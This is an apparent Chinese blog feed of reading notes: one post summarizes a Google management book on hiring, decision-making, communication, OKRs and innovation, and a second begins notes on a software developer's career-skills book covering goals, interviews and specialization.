&lt;p&gt;统计每个人举荐的人数和带来参加面试的应聘者人数；评估员工填写面试反馈表的效率；鼓励员工为招聘出力，并记录员工参与招聘活动的频率。然后，在评估业绩和提拔员工时将这些数据作为参考。&lt;/p&gt;
&lt;p&gt;你对招聘的要求越高，面试的过程就越重要，也越富有挑战性。&lt;/p&gt;
&lt;p&gt;在实践中，你的职责就是要在有限的时间以及人为设置的环境中辨识出应聘者的优势。&lt;/p&gt;
&lt;p&gt;一位能力过人的应聘者在接受你的评估，同时也在对你进行审视。&lt;/p&gt;
&lt;p&gt;你不仅需要斟酌你提出的问题，也要留意那些提出深刻问题的应聘者。&lt;/p&gt;
&lt;p&gt;想要拥有主持面试的技巧，唯有靠练习。&lt;/p&gt;
&lt;p&gt;一旦加入面试官委员会，就要接受一系列业绩指标的评判，包括主持面试的次数、可信度、反馈信息的质量以及给出回复的速度。&lt;/p&gt;
&lt;p&gt;面试48小时后给出的反馈信息质量会大打折扣，我们的顶尖面试官会专门在面试后腾出时间来给出反馈&lt;/p&gt;
&lt;p&gt;谷歌的面试只有半个小时。&lt;/p&gt;
&lt;p&gt;每位应聘者至多只能接受5位面试官的面试。&lt;/p&gt;
&lt;p&gt;从面试官的角度来说，面试的目的就是要形成自己的意见。&lt;/p&gt;
&lt;p&gt;面试官必须要有自己的明确立场。&lt;/p&gt;
&lt;p&gt;在谷歌，我们从四个方面对应聘者做出评价，且保证不同领域的应聘者在这四方面的评判标准一致：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;领导力：我们想要知道，应聘者在不同情形下是如何运用手腕来调动团队的。&lt;/li&gt;
&lt;li&gt;职务相关知识：我们寻找的是那种爱好广泛、激情四射的人，而不是仅在单一领域富有造诣的人。&lt;/li&gt;
&lt;li&gt;一般认知能力：比起成绩单，我们更感兴趣的是应聘者的思维方式。&lt;/li&gt;
&lt;li&gt;谷歌范儿：我们希望感知每位应聘者的独特之处，也希望他们能在谷歌这个平台上大展宏图。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;招聘信息包中包含了谷歌在对应聘者进行层层面试的过程中积累下来的所有信息。这个信息包的内容不仅全面，还必须规范，这样不仅能确保招聘委员会的所有成员都能拿到完全相同的信息，还能保证这些信息能全面反映应聘者的情况。&lt;/p&gt;
&lt;p&gt;强大的信息包包括一份涵盖所有关键信息的摘要，还包括全面综合的支持性材料。&lt;/p&gt;
&lt;p&gt;信息包必须包括应聘者过去面试的一切数据：面试次数、分数范围、平均分。&lt;/p&gt;
&lt;p&gt;升职决策也应该由委员会定夺，而不应该对管理层的意见言听计从。&lt;/p&gt;
&lt;p&gt;宁缺毋滥。如果质量和速度不可兼得，那质量一定要放在首位。&lt;/p&gt;
&lt;p&gt;如果你希望顶尖的员工能拿出更加优异的表现，那就用超出常规的薪酬来做嘉奖和激励吧。&lt;/p&gt;
&lt;p&gt;最高的报酬理应属于那些与卓越产品和伟大创意关系最密切的人。&lt;/p&gt;
&lt;p&gt;想要留住创意精英，最好的方法就是避免让他们太过安逸，而是不断用新的想法保持他们工作的趣味性。&lt;/p&gt;
&lt;p&gt;需要确保最有价值的员工的利益不受企业条条框框的制约。&lt;/p&gt;
&lt;p&gt;想要鼓励员工尝试新的角色，可以通过轮换制来实现&lt;/p&gt;
&lt;p&gt;鼓励岗位间的人员流动，尽可能减小流动的难度，并将有关事宜列为管理层的常规讨论事项。&lt;/p&gt;
&lt;p&gt;请确保人员轮换的候选人是团队中的佼佼者。&lt;/p&gt;
&lt;p&gt;应该集中力量去挽留那些表现突出的明星员工、领导者以及有创意的人（这三种人可不一定是一个人），竭尽全力让他们留下来。&lt;/p&gt;
&lt;p&gt;因为对薪酬不满而离职的员工只是少数，想要挽留人才，你首先要学会倾听。&lt;/p&gt;
&lt;p&gt;顶尖的创意精英之所以考虑离职，是因为他们想要自立门户。不要打击他们的积极性，而要主动听取他们的“电梯演讲”。&lt;/p&gt;
&lt;p&gt;“电梯演讲”是风险投资行业的行话，意思是“给你30秒的时间，看你能不能用你的商业构想打动我”。&lt;/p&gt;
&lt;p&gt;有的人会拿“如果你不这样做，我就要离职”的条件给你下最后通牒。能够使出这种招数的人往往对企业已经不抱有什么感情了，重新全心全意为企业奉献的可能性也微乎其微，在这种情况下，双方决裂的大局往往已定。但如果员工与企业的缘分未尽，而你还想给出更好的待遇条件来试着挽留，那你出手一定要火速（间隔时间最好不要超过一个小时）。&lt;/p&gt;
&lt;p&gt;要想避免解雇不得力员工的窘境，最好的方法就是不要把他们招进来。&lt;/p&gt;
&lt;p&gt;如果你能把业绩最差的10%的员工换成新员工，这会为企业整体带来改善吗？如果答案是肯定的，你就需要反思公司的招聘方式，看看这些低绩效员工是如何进入公司的，并对这些存在漏洞的环节做出改进。&lt;/p&gt;
&lt;p&gt;谷歌招聘之行为准则：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;雇用那些比你更聪明、更有见识的人。不要雇用那些不能让你有所收获也不能对你构成挑战的人。&lt;/li&gt;
&lt;li&gt;雇用那些能对产品和文化带来价值的人。不要雇用那些无法为产品和文化带来积极影响的人。&lt;/li&gt;
&lt;li&gt;雇用那些做实事的人。不要雇用那些只想不做的人。&lt;/li&gt;
&lt;li&gt;雇用那些满腔热情、自动自发的人。不要雇用那些只想混口饭吃的人。&lt;/li&gt;
&lt;li&gt;雇用那些能启发别人且善于与人相处的人。不要雇用那些偏爱自己单干的人。&lt;/li&gt;
&lt;li&gt;雇用那些能随着团队和企业一同成长发展的人。不要雇用那些枯燥乏味、不具备全面技能的人。&lt;/li&gt;
&lt;li&gt;雇用那些多才多艺、兼有独特兴趣和天赋的人。不要雇用那些只为工作而活的人。&lt;/li&gt;
&lt;li&gt;雇用那些道德高尚、坦诚沟通的人。不要雇用那些趋炎附势、工于心计的人。&lt;/li&gt;
&lt;li&gt;雇用那些优秀的候选人。宁缺毋滥。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;应届毕业生最看重的往往是公司，然后才考虑职位和行业。但是，在职业生涯的起点，这样的排序恰恰是本末倒置。在职业生涯中，许多人往往会换好几次公司，而改变行业却要困难得多，因此，选择好行业才是重中之重。把行业视为你冲浪的地点，把公司当成你赶上的海浪。&lt;/p&gt;
&lt;p&gt;从薪酬角度来看，在你的职业生涯初期，能够获得的员工优先认股权以及其他股票的种类是比较受限制的，因此，在正确的行业磨炼技能要比在某家公司赌上自己的命运更加合算。在此之后，随着经验（以及年龄）的累积，挑选合适的浪头变得越发重要。因为到了那时，股票在你的薪酬构成中所占的比例大幅上升，因此你也应该相应地将对公司的挑选放在优先位置。&lt;/p&gt;
&lt;p&gt;在挑选公司的时候，听听那些真正懂行的科技达人的意见。&lt;/p&gt;
&lt;p&gt;许多科技达人在将科技当作自己的职业之前，已在科技和创业方面积累了不少经验。&lt;/p&gt;
&lt;p&gt;制订规划的步骤：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;思考一下，5年之后，你理想中的工作是什么样的。你想做什么样的工作？想要什么样的收入？描述一下你心目中的理想职位：如果你在网上看到了这份工作的招聘信息，那么这广告具体会是什么样的呢？现在，把时间快进四五年，假设自己已经得到了这份工作。那么，你5年后的简历会是什么样的？想要得到5年后心中理想的位置，你从现在起需要如何选择前面的路？&lt;/li&gt;
&lt;li&gt;接着规划你的理想工作，从这份工作的角度来看，你的不足和优势是什么？要得到这份工作，你需要做出哪些改进？在思考这一步时，你需要倾听别人的看法。因此，和你的上司或同事谈一谈，听听他们的意见。最后还要思考：如何得到你理想的工作？你需要接受什么样的培训、需要积累哪些经验？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;哪些产品的价格越来越低廉，人们就应该培养与这些产品相配套的领域所需的专业知识和技能。&lt;/p&gt;
&lt;p&gt;多数企业都有丰富的文字信息，你可以把其中最好的资料拿来阅读。&lt;/p&gt;
&lt;p&gt;阅读不要止于公司内的信息。&lt;/p&gt;
&lt;p&gt;无论规模大小，处在哪个领域，业务永远向全球扩展，但人却天生具有地域性。&lt;/p&gt;
&lt;h2&gt;第四章 决策：共识的真正含义&lt;/h2&gt;
&lt;p&gt;做决策，是每家企业以及每位企业领导者的基本工作，而制定企业策略、聘请合适的人才、创立独特的企业文化，都是做决策的前提。&lt;/p&gt;
&lt;p&gt;在制定决策的时候，不能一心只想做出正确的决定。制定决策的方式、时机和实施决策的具体方法，与决策本身同样重要。&lt;/p&gt;
&lt;p&gt;以前，人们大多以主观想法和传闻逸事作为决策基础，而今，数据成为制定决策的主要根据。&lt;/p&gt;
&lt;p&gt;“共识”并不是指人人都必须同意，而是指共同达成对公司最有利的决策，并围绕决策共同努力。&lt;/p&gt;
&lt;p&gt;要想达成最有利于公司的决策，就需要有异议存在。&lt;/p&gt;
&lt;p&gt;最好的决策应该是正确的决策，而不是竭力争取大家一致同意而找出的最低标准，也未必是领导人自己的决策。&lt;/p&gt;
&lt;p&gt;对于决策者而言，最重要的任务就是：设立最后期限，进行决策工作，按最后期限完成。&lt;/p&gt;
&lt;p&gt;如果你不确定某种行为是否正确，那么最好的解决办法就是尝试，然后加以改进。&lt;/p&gt;
&lt;p&gt;在决心采取行动之前，应该尽可能长时间地静观其变。&lt;/p&gt;
&lt;p&gt;决策者的职责就是准确地拿捏时机。把乐于行动的劲头拿出来，中止没有意义的讨论和分析，让团队行动起来，为实施决策而团结一心。&lt;/p&gt;
&lt;p&gt;首席执行官或企业高管必须磨炼的一项重要技能，就是判断何时该自己出马、何时该把决策权交给别人。&lt;/p&gt;
&lt;p&gt;不应该多做决策。你的任务，就是分析数据、鼓励讨论、引导大家达成共识，凭借你过人的才识做出决策。&lt;/p&gt;
&lt;p&gt;当你要做一个关乎企业存亡的决策时，每天开会就是理所应当的了。&lt;/p&gt;
&lt;p&gt;奥普拉·温弗瑞法则：如果你想改变他人，不仅要晓之以理，更要学会动之以情。&lt;/p&gt;
&lt;p&gt;要从感情上承认一个自己并不同意的决策，人们必须首先感觉到自己的观点不仅得到了倾听，还得到了重视。&lt;/p&gt;
&lt;p&gt;会议准则：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;会议应该有一位决策者或主持。&lt;/li&gt;
&lt;li&gt;决策者应当亲力亲为。&lt;/li&gt;
&lt;li&gt;即便是在信息共享或头脑风暴这种不必制定决策的会议上，也应明确指定会议的主人。&lt;/li&gt;
&lt;li&gt;会议应该很容易取消。&lt;/li&gt;
&lt;li&gt;会议规模应以便于管理为宜。&lt;/li&gt;
&lt;li&gt;出席必要的会议。&lt;/li&gt;
&lt;li&gt;守时很重要。&lt;/li&gt;
&lt;li&gt;开会时就认真开会。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;马背原则：在一定的情况下，我们只需坐在马背上，快速环视四周，然后继续上路。&lt;/p&gt;
&lt;p&gt;管理团队往往会低估一款新产品上市后多长时间才能赢利。&lt;/p&gt;
&lt;p&gt;必须把注意力和热情都集中在核心业务上。&lt;/p&gt;
&lt;p&gt;热爱一项事业，就应该为离开它做好规划。&lt;/p&gt;
&lt;p&gt;正确的做法，是集中注意力寻找那些已经崭露头角、升职速度快的杰出创意精英。&lt;/p&gt;
&lt;h2&gt;第五章 沟通：当最牛的路由器&lt;/h2&gt;
&lt;p&gt;共享一切指“除了极少数有违法律法规的信息，其他一概与大家共享”。&lt;/p&gt;
&lt;p&gt;员工不敢向领导抛出难题，因此往往会提简单问题。&lt;/p&gt;
&lt;p&gt;必须营造一个让大家时时敢于提出难题和发表忠言的环境。&lt;/p&gt;
&lt;p&gt;谈话仍然是最主要且最有价值的沟通方式。&lt;/p&gt;
&lt;p&gt;很多情况下一件事情需要重复大约20遍才能被人真正听进去。&lt;/p&gt;
&lt;p&gt;以正确的方法进行信息轰炸：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;沟通能否强化你希望深入人心的核心理念呢？如果你把某句话重复了20遍，别人却仍然听不进去，那么问题就不在于你的沟通方式，而是在于你所传达的理念。&lt;/li&gt;
&lt;li&gt;沟通有效吗？有的时候，我们需要变换阐述理念的方式来抓住（或拉回）听者的注意力。&lt;/li&gt;
&lt;li&gt;沟通是否有趣、鼓舞人心？&lt;/li&gt;
&lt;li&gt;沟通是否发自肺腑？越是真情流露，就越能打动人心。&lt;/li&gt;
&lt;li&gt;沟通对象是否合适？有效的沟通只应该针对需要这些信息的人。&lt;/li&gt;
&lt;li&gt;你使用的沟通媒介合适吗？如果你的信息很重要，那就调动手边一切方式把信息传达出去&lt;/li&gt;
&lt;li&gt;诚实谦虚，积攒人品。如果你能把诚实谦虚的风气融入日常工作，就会让你获得团队的青睐和忠诚。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;检视自我：至少一年一次针对自己的表现写一份评估，然后读一读，看看你自己是否愿意接受自己的管理。之后，把这份评估发给你管理的员工。&lt;/p&gt;
&lt;p&gt;电子邮件原则：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;迅速回复。积极的回应能让信息良性循环，这样，你的团队和同事在进行重要讨论和决策的时候就更有可能把你包括在内。积极回应所有人的做法对你一直想要倡导的不分层级、任人唯贤的理念也有积极的作用。&lt;/li&gt;
&lt;li&gt;在写电子邮件的时候，每个字都很重要，冗长的堆砌则是多余的。你要先拟一份草稿，然后通读一遍，把多余的词语剔除出去。&lt;/li&gt;
&lt;li&gt;经常清理收件箱。尽可能一次处理完毕。&lt;/li&gt;
&lt;li&gt;先处理后收到的邮件。&lt;/li&gt;
&lt;li&gt;不要忘了，你是台路由器。如果收到一封含有有用信息的邮件，就该考虑一下这封邮件还有可能会帮到谁。&lt;/li&gt;
&lt;li&gt;在你使用密件抄送功能时，问问自己为什么要这么做。&lt;/li&gt;
&lt;li&gt;不要拿邮件泄愤。&lt;/li&gt;
&lt;li&gt;要方便跟踪进度。&lt;/li&gt;
&lt;li&gt;帮助未来的你更方便地搜索信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一对一会谈：管理者应当把最想在会谈中涉及的5件事写出来，员工也应该列一份这样的单子。&lt;/p&gt;
&lt;p&gt;一对一会谈大纲：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;工作表现
&lt;ul&gt;
&lt;li&gt;可以是销售数据&lt;/li&gt;
&lt;li&gt;可以是产品交付情况或有关产品的重大进展&lt;/li&gt;
&lt;li&gt;可以是消费者的意见或产品质量&lt;/li&gt;
&lt;li&gt;可以是预算数目&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;与同事之间的关系（这对企业成员的团结一致非常关键）
&lt;ul&gt;
&lt;li&gt;产品人员和工程人员的关系&lt;/li&gt;
&lt;li&gt;市场人员和产品人员的关系&lt;/li&gt;
&lt;li&gt;销售人员和工程人员的关系&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;领导与管理
&lt;ul&gt;
&lt;li&gt;你有没有对你的人员起到指导和帮助的作用？&lt;/li&gt;
&lt;li&gt;你有没有把“害群之马”清除出团队？&lt;/li&gt;
&lt;li&gt;你有没有在人才招聘上下功夫？&lt;/li&gt;
&lt;li&gt;你能否激励员工做出创举？&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;创新（最佳实践）
&lt;ul&gt;
&lt;li&gt;你是否一直在进步，是否一直思考着如何才能变得越来越好？&lt;/li&gt;
&lt;li&gt;你是否经常对新的技术、新的产品及新的方案进行思考和评估？&lt;/li&gt;
&lt;li&gt;你是否将业界或世界上最顶尖的人或企业作为对比标杆？&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;董事会：要关心，莫插手&lt;/p&gt;
&lt;p&gt;要搭建平台和建立成功的产品体系，企业就离不开合作伙伴的帮助。&lt;/p&gt;
&lt;p&gt;媒体访问：对话，而非传话&lt;/p&gt;
&lt;p&gt;企业不应被条条框框束缚，因此，混乱的状态是最合理的。&lt;/p&gt;
&lt;p&gt;三周原则：在接手新职位的前三周里，你不必做什么。你只需听取大家的心声，看看他们的问题和关注点在哪里，了解他们、关心他们、赢得他们的信任。&lt;/p&gt;
&lt;h2&gt;第六章 创新：缔造原始的混沌&lt;/h2&gt;
&lt;p&gt;如果你的产品只是满足了消费者提出的需求，那么你就不是创新，而只是做出回应。&lt;/p&gt;
&lt;p&gt;创新的东西不仅要新颖、出人意料，还要非常实用。&lt;/p&gt;
&lt;p&gt;在决定是否要实践某个想法的时候：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这个想法必须涉及一个能够影响数亿人甚至几十亿人的巨大挑战或机遇。&lt;/li&gt;
&lt;li&gt;这个想法必须提供一种与市场上现存的解决方案截然不同的方法。我们不希望在已有的做事方法上做改进，而是想另辟蹊径。&lt;/li&gt;
&lt;li&gt;将突破性解决方案变为现实的科技至少必须具备可行性，且在不久的将来可以实现。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所有的公司不仅要先营造一个让各种创意因素以新奇的方式自由碰撞的环境，还要提供时间及自由，让小部分创意进化和生存，并让余下的大部分凋零和消亡。&lt;/p&gt;
&lt;p&gt;“第一追随者”原则：在发起一个行动时，吸引第一个追随者是至关重要的一步。&lt;/p&gt;
&lt;p&gt;聚焦用户，赚钱便水到渠成。&lt;/p&gt;
&lt;p&gt;往大处想的思维方式赋予了创意精英更多自由，解开了羁绊，激发了创意。&lt;/p&gt;
&lt;p&gt;赌注下得越大，成功的概率往往也越大，因为企业无法负担失败的损失。&lt;/p&gt;
&lt;p&gt;较大的问题通常也较容易解决，因为挑战越大，越能吸引顶尖人才。&lt;/p&gt;
&lt;p&gt;OKR：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;完备的OKR不仅制定了大的“目标”，也确立了易于衡量的“关键成果”。&lt;/li&gt;
&lt;li&gt;顺应谷歌的“往大处想”理念，合理的OKR应当有一定难度，达到其中所有的要求应是不可及的。&lt;/li&gt;
&lt;li&gt;OKR系统几乎人人可用。&lt;/li&gt;
&lt;li&gt;OKR需要打分，但这分数不作他用，甚至没有人来记录。&lt;/li&gt;
&lt;li&gt;OKR并非包罗一切，只有那些需要特别关注的领域以及不做出额外努力难以达成的目标，才用得上这个系统。&lt;/li&gt;
&lt;li&gt;在企业文化中采用OKR体系，会避免人们被竞争者牵着鼻子走。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;将70/20/10作为我们的资源配置原则，即将70%的资源配置给核心业务，20%分配给新兴产品，剩下的10%投在全新产品上。&lt;/p&gt;
&lt;p&gt;资源上的稀缺，是激发创意的催化剂。&lt;/p&gt;
&lt;p&gt;谷歌的“20%时间”工作方式，允许工程师拿出20%的时间来研究自己喜欢的项目。该制度的重点在于自由，而不在时间长短。&lt;/p&gt;
&lt;p&gt;无论你想把这20%的时间用在何处，只要不妨碍你的正常工作，那就没有人能阻止你忙自己的事。&lt;/p&gt;
&lt;p&gt;要想让一个好的构想开花结果，首先应当构建一支肯为这个构想倾力付出的团队。&lt;/p&gt;
&lt;p&gt;20%时间制最为宝贵的地方不在于由此诞生的新产品或新功能，而在于人们在做新的尝试时所学到的东西。&lt;/p&gt;
&lt;p&gt;打造一款产品，投放市场，看看反响如何，设计并加以改进，再重新投入市场。&lt;/p&gt;
&lt;p&gt;具体实行交付——迭代模式的时候，尽量不要在产品上市时借助市场营销手段和公关宣传的力量。&lt;/p&gt;
&lt;p&gt;要想创新，就要学会把败仗打漂亮，学会从失误中汲取教训。&lt;/p&gt;
&lt;p&gt;因此在放弃一个项目时，要仔细审视其组成部分，看看有无可能重新投放在其他领域。&lt;/p&gt;
&lt;p&gt;管理者的任务不是规避风险或防止失败，而是打造一个不会因风险和无可避免的失误而垮台的环境。&lt;/p&gt;
&lt;p&gt;需要快速地迭代，建立检验标准，看看每次迭代有没有把你一步步推向成功。&lt;/p&gt;
&lt;h2&gt;结语&lt;/h2&gt;
&lt;p&gt;曾经盛极一时的产业的瓦解及其对经济带来的影响，一定会在短期内带来痛苦和混乱。&lt;/p&gt;
&lt;p&gt;既有企业执意维持现状的几个原因：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;从大企业的视角而言，多数创意都是看似前途未卜且微不足道的小机遇，不值得公司投入时间和精力。&lt;/li&gt;
&lt;li&gt;从个人的视角来看，大企业的成员不但不会因敢于冒险而得到奖励，反倒会因为失败而遭到惩罚。在这种失衡的奖罚措施之下，理性的人都会选择安稳自保。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们觉得，几乎所有大的难题都可以归结为信息问题，也就是说，只要有足够的数据、具备足够的数据处理能力，人类所面临的几乎所有问题都有解决方法。&lt;/p&gt;
</content:encoded><category>Note</category></item><item><title>【读书笔记】软技能 - 代码之外的生存指南</title><link>https://www.sulinehk.com/post/note-for-soft-skills-the-software-developers-life-manual/</link><guid isPermaLink="true">https://www.sulinehk.com/post/note-for-soft-skills-the-software-developers-life-manual/</guid><pubDate>Mon, 02 May 2022 07:23:08 GMT</pubDate><content:encoded>&lt;h2&gt;第一篇：职业&lt;/h2&gt;
&lt;h3&gt;第1章 为何这本书与你先前读过的任何书籍都迥然不同&lt;/h3&gt;
&lt;p&gt;在我们成长过程中，我们被迫接受的大多数教育体系是支离破碎的，因为它们都依赖于一个错误的前提：你必须要有老师去教，学习只在一个方向上流动。&lt;/p&gt;
&lt;p&gt;你所能犯的最大错误就是相信自己是在为别人工作。这样一来你对工作的安全感已然尽失。&lt;/p&gt;
&lt;p&gt;职业发展的驱动力一定是来自个体本身。&lt;/p&gt;
&lt;p&gt;记住：工作是属于公司的，而职业生涯却是属于你自己的。&lt;/p&gt;
&lt;h3&gt;第2章 从非同凡响开始：绝不要做他人都在做的事&lt;/h3&gt;
&lt;p&gt;只有你开始把自己当作一个企业去思考时，你才能开始做出良好的商业决策。&lt;/p&gt;
&lt;p&gt;职业生涯中必须要做的第一要务：转变你的心态，从被一纸“卖身契”束缚住的仆人转变为一名拥有自己生意的商人。在起步阶段就具备这种心态会改变你对职业生涯的思维方式，将此铭记在心，并积极主动地管理自己的职业生涯。&lt;/p&gt;
&lt;p&gt;你所能提供的服务就是创建软件。&lt;/p&gt;
&lt;p&gt;你需要认识到仅有服务或产品是不够的。想赚到钱，你就必须能让潜在的客户了解该产品或服务。&lt;/p&gt;
&lt;p&gt;产品营销做得越好，你就能给服务定越高的价格，也越有机会吸引更多潜在的客户。&lt;/p&gt;
&lt;p&gt;非同凡响需要做到：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;专注于你正在提供怎样的服务，以及如何营销这项服务；&lt;/li&gt;
&lt;li&gt;想方设法提升你的服务；&lt;/li&gt;
&lt;li&gt;思考你可以专注为哪一特定类型的客户或行业提供特定的服务；&lt;/li&gt;
&lt;li&gt;集中精力成为一位专家，专门为某一特定类型的客户提供专业的整体服务（记住，作为一个软件开发人员，你只有真正专注于一类客户，才能找到非常好的工作）。&lt;/li&gt;
&lt;li&gt;还要想想如何更好地宣传你的服务，如何更好地找到你的客户。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;第3章 思考未来：你的目标是什么&lt;/h3&gt;
&lt;p&gt;起步阶段最简单的就是在心中树立一个大目标，然后再建立能帮你达成这个大目标的小目标。因为很难清晰地界定远期可能发生的事情，所以大目标通常不是非常明确。不过没关系，当你制订远期的大目标时，不一定要非常具体。大目标只要足够具体到给你提供清晰的方向即可。&lt;/p&gt;
&lt;p&gt;大目标并不需要那么具体，但是必须足够清晰，能够让你知道自己是在向它前进还是离它越来越远。&lt;/p&gt;
&lt;p&gt;一旦你想通了自己长远的大目标是什么，下一步就是设定路线，制订通往大目标的小目标。有时还可以运用一下逆向思维，反推一下如何从大目标到当前的情况：如果你已经达到了大目标，那么沿途你都经历了哪些里程碑？你能想象出哪条路径可以让你从大目标反推到你现在的情况？&lt;/p&gt;
&lt;p&gt;如果你可以驱动小目标逐渐前行并靠近你的大目标，那么最终你一定会到达目的地。&lt;/p&gt;
&lt;p&gt;较小的目标可以让你航行在自己的轨道上，激励你保持航向朝着更大的目标前进。如果你准备达成一个大目标，却没有分解为小目标，那么当你偏离航向时也不会有时间去校正。&lt;/p&gt;
&lt;p&gt;达成较小的目标也能经常奖励自己，帮助并激励自己。每一天、每一个星期的小胜利会让我们觉得自己正在取得进展、达成目标，这让我们感觉良好，帮助我们继续前进。较小的目标似乎也不像大目标那样令人望而生畏。&lt;/p&gt;
&lt;p&gt;我建议你定期核对自己的目标。这有助于在必要时进行调整，让你对自己负责。你可能愿意在每周末为下一周设定目标之前先检查上周设定的目标。这同样适用于每月、每季和每年。&lt;/p&gt;
&lt;h3&gt;第4章 人际交往能力：远比你想象的重要&lt;/h3&gt;
&lt;p&gt;在软件开发领域，我们大多数时候是与人而非与计算机打交道。&lt;/p&gt;
&lt;p&gt;以自己为核心，每个人都希望自己很重要。&lt;/p&gt;
&lt;p&gt;奖励积极行为要比惩罚消极行为有效得多。&lt;/p&gt;
&lt;p&gt;停止用“我”和“我想要什么”来思考。你应当开始思考对他人而言什么才最重要，什么才是他们需要的。通过这种换位思考，你会避免让他人觉得自己不受重视，你也能少批评人。被你用这种方式对待的人，也更可能用讨人喜欢的方式与你打交道，也更认可你的想法的价值。&lt;/p&gt;
&lt;p&gt;尽管我们为自己的智慧感到骄傲，但我们依然是情感动物。&lt;/p&gt;
&lt;p&gt;必须要不惜一切代价避免争吵。&lt;/p&gt;
&lt;p&gt;如果你意识到某个人就是所谓的“苛性碱”，不要试图去改变他们，也不要试图去和他们打交道，就让他们停留在自己的轨迹上，你所要做的只是尽量限制自己与他们互动。&lt;/p&gt;
&lt;h3&gt;第5章 破解面试之道&lt;/h3&gt;
&lt;p&gt;与主流观念相反，大多数面试官决定雇用某个人其实是基于各种各样的非技术因素。&lt;/p&gt;
&lt;p&gt;当许多技术过硬的开发人员都在竞争同一个工作岗位时，决定胜负的最大因素已经不再是技术能力了。&lt;/p&gt;
&lt;p&gt;破解面试的要诀就是在面试开始之前就思考应对面试的策略。&lt;/p&gt;
&lt;p&gt;大量工作岗位来自“个人推荐”。你要试图确保你申请的职位也适用于个人推荐。如果你是被他人推荐去面试，因为有推荐人的社会公信力做背书，面试官会自然而然地高看你一眼。推荐人的声誉及他与面试官的交情，有一部分就延伸到了作为应聘者的你的身上。当你进入面试环节，面试官早就对你有所偏爱，因为你是由他们喜欢和信任的人推荐来的。&lt;/p&gt;
&lt;p&gt;你必须要突破常规，想尽办法与公司内部人员建立联系。&lt;/p&gt;
&lt;p&gt;如果你现在就需要一份工作：你最好尽早与面试官建立联系，尽最大可能做好如下工作：看看能不能在面试之前得到预面试的机会，在你坐下来进行真正的面试之前请求跟面试官见面，谈谈公司状况，或者问一些问题。你可以打一个5分钟的电话和对方简短地聊一聊。想方设法在能影响面试结果的人面前展示自己。&lt;/p&gt;
&lt;p&gt;从雇主的角度看，招聘员工就是一项投资。招聘员工要花费时间和金钱，所以老板当然想看到良好的投资回报率。能够自发地、无需过问就能做事的员工通常能增加公司的净收入，此外，他们也让老板少操心，只占用少量的管理资源。&lt;/p&gt;
&lt;p&gt;面试的时候你要集中精力证明自己就是无需督促也能自动自发做好事情的员工。&lt;/p&gt;
&lt;p&gt;你还必须要证明：在技术上你确实胜任工作。同时，如果你能说服面试官相信你非常能干，不会被困难阻挡，那么他们不仅会喜欢你，而且更有可能会录用你。&lt;/p&gt;
&lt;p&gt;提前能做的事：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你应该做的第一件事是确保自己仍旧保持技术能力。&lt;/li&gt;
&lt;li&gt;你也可以未雨绸缪，拓展自己的社交网络。&lt;/li&gt;
&lt;li&gt;别忘了实践。即便你现在对换新工作毫无兴趣，为了获得面试经验，你也要去面试。练习得越多，你在真正的面试时也就越游刃有余。&lt;/li&gt;
&lt;li&gt;集中精力推销自己会对你大有裨益&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;第6章 就业选择：列出你的选择&lt;/h3&gt;
&lt;p&gt;雇员：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;好处：稳定、从业之路比较轻松、带薪假期、（可能会有）医疗保险（在美国）&lt;/li&gt;
&lt;li&gt;弊端：缺少自由、收入封顶&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;独立咨询师：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;好处：更大的自由度（自己掌控时间）、可以持续不断地做新项目、赚钱潜力&lt;/li&gt;
&lt;li&gt;弊端：自己去寻找业务、打理一切事务的开销、从“为一个老板服务”变成了“为许多老板服务”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;创业者：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;好处：完全自由、巨大的赚钱潜力、做你想要做的工作、没有老板&lt;/li&gt;
&lt;li&gt;弊端：风险很大、完全依靠自己、需要许多其他技能、可能需要长时间工作&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对大多数软件开发人员而言，特别是在职业生涯的起步阶段，做一名雇员是明智的选择。这个选择的风险最小，你不需要具备大量的经验。&lt;/p&gt;
&lt;h3&gt;第7章 你是哪类软件开发人员&lt;/h3&gt;
&lt;p&gt;专业化的规则是：专业化程度越深，潜在的机会就越少，但获得这些机会的可能性越大。&lt;/p&gt;
&lt;p&gt;比较明显的分类方法是按照开发语言分类和按照平台分类，但是也可以按照方法论分类、按照技术或业务种类分类。&lt;/p&gt;
&lt;p&gt;专业领域：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Web开发栈&lt;/li&gt;
&lt;li&gt;嵌入式系统&lt;/li&gt;
&lt;li&gt;特定的操作系统&lt;/li&gt;
&lt;li&gt;移动开发&lt;/li&gt;
&lt;li&gt;框架&lt;/li&gt;
&lt;li&gt;软件系统&lt;/li&gt;
&lt;/ul&gt;
